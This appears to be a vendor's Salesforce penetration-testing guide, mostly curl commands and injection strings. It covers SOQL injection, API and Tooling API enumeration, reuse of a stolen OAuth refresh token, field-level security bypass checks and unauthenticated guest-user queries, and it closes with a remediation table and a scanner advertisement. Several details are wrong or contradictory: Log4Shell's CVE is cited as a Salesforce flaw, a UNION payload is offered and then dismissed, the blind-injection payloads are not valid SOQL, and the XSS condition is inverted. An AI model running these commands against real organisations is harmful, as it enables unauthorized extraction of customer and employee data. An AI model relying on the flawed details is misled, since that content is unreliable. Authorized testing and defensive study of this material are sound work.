Salesforce holds some of the most sensitive data in any enterprise: customer records, deal values, contact information, support cases, and financial data. Its complex permission model — objects, fields, sharing rules, profiles, permission sets — creates significant misconfiguration surface. This guide covers SOQL injection, REST/SOAP API permission bypass, Connected App OAuth token abuse, Field-Level Security bypasses, sharing rule exploitation, and guest user access vulnerabilities.
Before testing Salesforce directly, gather information about the target org from public sources. Salesforce orgs expose their instance URL, API version, and org metadata through several discovery endpoints.
# Discover Salesforce org instance from company domain
# Salesforce instances follow pattern: *.my.salesforce.com or *.salesforce.com
nslookup companyname.my.salesforce.com
nslookup companyname.salesforce.com
# OR via login subdomain discovery
curl -s "https://companyname.my.salesforce.com/.well-known/openid-configuration" | jq .
# Enumerate API versions supported
curl -s "https://companyname.my.salesforce.com/services/data/" | python3 -m json.tool
# Check if community/experience cloud is exposed (common SSRF/auth bypass vector)
curl -s "https://companyname.my.site.com/" -I
curl -s "https://companyname.force.com/" -I
# Identify Salesforce org ID from public metadata
curl -s "https://companyname.my.salesforce.com/id/" | grep -i organizationId
# Check for exposed Salesforce Developer Console or Workbench
curl -s "https://companyname.my.salesforce.com/apex/IDE" -I
curl -s "https://workbench.developerforce.com/query.php" -I
# Salesforce OAuth 2.0 username-password flow (common in integrations)
# Requires: consumer_key, consumer_secret, username, password, security_token
curl -s -X POST "https://login.salesforce.com/services/oauth2/token" \
-d "grant_type=password" \
-d "client_id=YOUR_CONSUMER_KEY" \
-d "client_secret=YOUR_CONSUMER_SECRET" \
-d "username=user@company.com" \
-d "password=PasswordSecurityToken" | jq '{access_token, instance_url}'
# Store for subsequent API calls
SF_TOKEN=$(curl -s -X POST "https://login.salesforce.com/services/oauth2/token" \
-d "grant_type=password&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&username=$SF_USER&password=$SF_PASS$SF_SECURITY_TOKEN" | \
jq -r '.access_token')
SF_INSTANCE="https://companyname.my.salesforce.com"
SOQL (Salesforce Object Query Language) injection occurs when user input is concatenated into SOQL queries in Apex controllers, Visualforce pages, or REST API endpoints without proper escaping. Unlike SQL injection, SOQL injection cannot modify or delete data — but it enables significant data exfiltration through subqueries and schema enumeration.
# SOQL injection test payload examples
# Basic injection test — close string literal and add OR condition
# Vulnerable pattern: "SELECT Id FROM Account WHERE Name = '" + userInput + "'"
' OR Name != '
# SOQL comment bypass (SOQL has no line comments, but block comments work)
' /* injected */ OR '1'='1
# SOQL LIKE wildcard abuse
%'; SELECT Id, Name, AnnualRevenue FROM Account WHERE Name LIKE '
# Extract all accounts by bypassing filter
test' OR Account.Name != NULL OR Account.Name = '
# Extract through relationship subqueries
' UNION SELECT Id, Name, Email FROM Contact WHERE Name != '
# Note: SOQL doesn't support UNION — use WHERE 1=1 style bypass instead
# Boolean-based blind SOQL injection
' AND String.valueOf(1).equals('1') AND name = ' -- true
' AND String.valueOf(1).equals('2') AND name = ' -- false
# Time-based detection (SOQL has no sleep(), use computation)
' AND Math.pow(2, 30) > 0 AND name = '
# Test in Salesforce web UI search fields, Visualforce page inputs
# Look for URL parameters passed to SOQL: ?name=test&account=ACME
WITH SECURITY_ENFORCED enforcement gaps.
# Test SOQL injection via REST API query endpoint
# The /services/data/vXX.0/query endpoint allows direct SOQL queries
# If accessible with user context, test for privilege escalation via malformed queries
# Test direct query API
curl -s "$SF_INSTANCE/services/data/v59.0/query/?q=SELECT+Id,Name+FROM+Account+LIMIT+10" \
-H "Authorization: Bearer $SF_TOKEN" | jq '.records[] | {Id, Name}'
# Check if ALL objects are queryable by current user
curl -s "$SF_INSTANCE/services/data/v59.0/query/?q=SELECT+Id,Name,Phone,AnnualRevenue+FROM+Account+LIMIT+1000" \
-H "Authorization: Bearer $SF_TOKEN" | jq '.totalSize'
# Query sensitive objects that should be restricted
OBJECTS=("User" "ContentDocument" "ContentVersion" "Attachment" "EmailMessage" "Contact" "Lead" "Opportunity")
for obj in "${OBJECTS[@]}"; do
COUNT=$(curl -s "$SF_INSTANCE/services/data/v59.0/query/?q=SELECT+COUNT()+FROM+$obj" \
-H "Authorization: Bearer $SF_TOKEN" | jq '.totalSize // "ERROR"')
echo "$obj: $COUNT records accessible"
done
# Extract user password hints and security questions
curl -s "$SF_INSTANCE/services/data/v59.0/query/?q=SELECT+Id,Username,Email,UserRole.Name+FROM+User+LIMIT+100" \
-H "Authorization: Bearer $SF_TOKEN" | jq '.records[] | {Username, Email}'
Salesforce's API permission model requires users to have the "API Enabled" permission in their profile or permission set. However, misconfigured profiles, integration users with excessive permissions, and Connected Apps with broad OAuth scopes create significant attack surface.
# Enumerate all accessible Salesforce objects and their CRUD permissions
curl -s "$SF_INSTANCE/services/data/v59.0/sobjects/" \
-H "Authorization: Bearer $SF_TOKEN" | \
jq '.sobjects[] | select(.queryable == true) | {name, createable, updateable, deletable}'
# Check metadata API access (very sensitive — exposes all configurations)
curl -s "$SF_INSTANCE/services/data/v59.0/tooling/query/?q=SELECT+Id,Name,Body+FROM+ApexClass+LIMIT+10" \
-H "Authorization: Bearer $SF_TOKEN" | jq '.records[] | {Name}'
# SOAP API WSDL enumeration
curl -s "https://companyname.my.salesforce.com/soap/wsdl.jsp?type=partner" > partner.wsdl
curl -s "https://companyname.my.salesforce.com/soap/wsdl.jsp?type=enterprise" > enterprise.wsdl
# Test Apex REST endpoints (custom APIs that may bypass standard permissions)
curl -s "$SF_INSTANCE/services/apexrest/CustomEndpoint/" \
-H "Authorization: Bearer $SF_TOKEN" | jq .
# Enumerate custom Apex REST endpoints from metadata
curl -s "$SF_INSTANCE/services/data/v59.0/tooling/query/?q=SELECT+Id,Name,Body+FROM+ApexClass+WHERE+Body+LIKE+'%@RestResource%'" \
-H "Authorization: Bearer $SF_TOKEN" | jq '.records[].Name'
Connected Apps in Salesforce enable third-party integrations via OAuth 2.0. Misconfigured Connected Apps — especially those using the deprecated username-password flow, overly broad scopes, or missing IP restrictions — are a common source of credential compromise and unauthorized data access.
# Enumerate Connected Apps via metadata API
curl -s "$SF_INSTANCE/services/data/v59.0/query/?q=SELECT+Id,Name,ConsumerKey+FROM+ConnectedApplication" \
-H "Authorization: Bearer $SF_TOKEN" | jq '.records[] | {Name, ConsumerKey}'
# Check for Connected Apps using resource owner password credentials flow
# This flow sends username/password to third parties — look in code/config
grep -r "grant_type=password" /path/to/integration/code
# Test for misconfigured refresh token persistence
# Refresh tokens with no expiry allow indefinite access
curl -s -X POST "https://login.salesforce.com/services/oauth2/token" \
-d "grant_type=refresh_token" \
-d "client_id=$CONSUMER_KEY" \
-d "client_secret=$CONSUMER_SECRET" \
-d "refresh_token=$STOLEN_REFRESH_TOKEN"
# Check OAuth token scope of an access token
curl -s "https://login.salesforce.com/services/oauth2/userinfo" \
-H "Authorization: Bearer $SF_TOKEN" | jq '{sub, name, email, organization_id}'
# List all OAuth tokens for a user (admin)
curl -s "$SF_INSTANCE/services/data/v59.0/query/?q=SELECT+Id,AppName,LastUsedDate,UserId+FROM+OauthToken+LIMIT+100" \
-H "Authorization: Bearer $ADMIN_TOKEN" | jq '.records[] | {AppName, LastUsedDate}'
Field-Level Security (FLS) controls which fields users can see and edit on each object. Apex code that queries fields without enforcing FLS (using WITH SECURITY_ENFORCED or Security.stripInaccessible) exposes hidden fields through the API even when the UI doesn't show them.
# Test FLS bypass via REST API — request fields restricted by FLS
# If an Apex controller doesn't enforce FLS, API returns restricted fields anyway
# Example: Social Security Number field restricted by FLS
curl -s "$SF_INSTANCE/services/data/v59.0/sobjects/Contact/CONTACT_ID" \
-H "Authorization: Bearer $SF_TOKEN" | jq '.SSN__c, .BankAccount__c, .Salary__c'
# Test tooling API for FLS bypass (accesses metadata, often less restricted)
curl -s "$SF_INSTANCE/services/data/v59.0/tooling/sobjects/CustomField/" \
-H "Authorization: Bearer $SF_TOKEN" | jq '.fields[].name'
# Check if custom Apex endpoints bypass FLS
# Look for code without WITH SECURITY_ENFORCED or stripInaccessible
curl -s "$SF_INSTANCE/services/data/v59.0/tooling/query/?q=SELECT+Id,Body+FROM+ApexClass+WHERE+Name='AccountAPI'" \
-H "Authorization: Bearer $SF_TOKEN" | jq '.records[].Body' | grep -v SECURITY_ENFORCED
# SOQL query with all fields — check which restricted fields are returned
curl -s "$SF_INSTANCE/services/data/v59.0/query/?q=SELECT+FIELDS(ALL)+FROM+Account+LIMIT+1" \
-H "Authorization: Bearer $SF_TOKEN" | jq 'keys'
Organization-Wide Defaults (OWD) and sharing rules determine which records users can access. When OWD is "Public Read/Write" on sensitive objects, all users can read and modify all records of that type. When sharing rules are misconfigured, users gain unintended access to other users' or groups' records.
# Check OWD configuration (admin access needed)
curl -s "$SF_INSTANCE/services/data/v59.0/tooling/query/?q=SELECT+SobjectType,DefaultAccess,InternalSharingModel,ExternalSharingModel+FROM+EntityDefinition+WHERE+SobjectType='Account'" \
-H "Authorization: Bearer $ADMIN_TOKEN"
# Test record access — try accessing records owned by other users
# If sharing is misconfigured, you can read all records regardless of owner
RECORD_IDS=("00Q000000001234" "00Q000000001235") # Lead IDs owned by others
for rid in "${RECORD_IDS[@]}"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"$SF_INSTANCE/services/data/v59.0/sobjects/Lead/$rid" \
-H "Authorization: Bearer $SF_TOKEN")
echo "$rid: HTTP $STATUS"
done
# SOQL returns only records you have access to — high count indicates OWD exposure
curl -s "$SF_INSTANCE/services/data/v59.0/query/?q=SELECT+COUNT()+FROM+Lead" \
-H "Authorization: Bearer $SF_TOKEN" | jq '.totalSize'
# Check user sharing — can you access records of users in different roles/territories?
curl -s "$SF_INSTANCE/services/data/v59.0/query/?q=SELECT+Id,LastName,Email,OwnerId+FROM+Lead+WHERE+OwnerId+!=+'$MY_USER_ID'+LIMIT+10" \
-H "Authorization: Bearer $SF_TOKEN" | jq '.totalSize'
Salesforce Experience Cloud (communities) allows unauthenticated "Guest User" access. Misconfigured guest user permissions are one of the most common Salesforce vulnerabilities — Salesforce issued a security alert in 2021 warning about overly permissive guest user profiles exposing PII.
# Test for guest user access to Experience Cloud
# Guest users have a special profile with limited permissions
curl -s "https://companyname.my.site.com/services/data/v59.0/query/?q=SELECT+Id,Name+FROM+Account+LIMIT+10"
# Test unauthenticated REST API access via Experience Cloud
curl -s "https://companyname.force.com/community/services/apexrest/PublicEndpoint/" | jq .
# Check if guest user can query sensitive objects
GUEST_QUERIES=(
"SELECT+COUNT()+FROM+Contact"
"SELECT+COUNT()+FROM+Lead"
"SELECT+COUNT()+FROM+Opportunity"
"SELECT+COUNT()+FROM+Case"
)
for q in "${GUEST_QUERIES[@]}"; do
COUNT=$(curl -s "https://companyname.my.site.com/services/data/v59.0/query/?q=$q" | jq '.totalSize // "ERROR"')
echo "Guest query $q: $COUNT"
done
# Test guest user accessing user directory
curl -s "https://companyname.my.site.com/services/data/v59.0/query/?q=SELECT+Id,Username,Email+FROM+User+LIMIT+10" | jq .
# Check for CVE-2021-44228 style guest user privilege escalation
# Salesforce patched excessive guest user sharing in Spring '22 release
# Test for Apex SOSL injection (Salesforce Object Search Language)
# Vulnerable: FIND {' + userInput + '} IN ALL FIELDS
# Payload: ' OR name LIKE '% (closes string, adds OR)
# Test Visualforce XSS — look for apex:outputText without escape="false"
# Default in Visualforce is escape="true", but dev overrides create XSS
curl -s "https://companyname.my.salesforce.com/apex/PageName?param=" | \
grep -i "script"
# Test for unprotected Visualforce pages (no authentication required)
curl -s "https://companyname.my.salesforce.com/apex/PublicPage" -I
# Check for CSRF vulnerabilities in Apex Controllers
# Look for POST forms without {!$Page.Name.token} ViewState protection
# Test Apex REST endpoint rate limiting and authentication
curl -s -X POST "$SF_INSTANCE/services/apexrest/BulkDataEndpoint/" \
-H "Authorization: Bearer $SF_TOKEN" \
-H "Content-Type: application/json" \
-d '{"batchSize": 50000, "exportType": "ALL_RECORDS"}'
| Finding | Risk | Remediation |
|---|---|---|
| SOQL injection in Apex | High | Use String.escapeSingleQuotes() or parameterized queries with bind variables |
| FLS not enforced | High | Add WITH SECURITY_ENFORCED to SOQL or use Security.stripInaccessible() |
| Permissive guest user profile | Critical | Audit and restrict guest user permissions; enable "Secure guest user record access" |
| Connected App username-password flow | High | Migrate to OAuth 2.0 JWT Bearer Flow or Client Credentials; disable password flow |
| Public OWD on sensitive objects | High | Change OWD to Private or Public Read Only and use explicit sharing rules |
| API-enabled for all profiles | Medium | Remove API Enabled permission from standard user profiles; use dedicated integration profiles |
| Refresh tokens without expiry | Medium | Set Connected App session policies with refresh token expiry and IP restrictions |
Ironimo's automated scanner identifies SOQL injection, API permission gaps, and Connected App vulnerabilities in your Salesforce-integrated web applications. Purpose-built for the security teams protecting enterprise CRM data.
Start free scan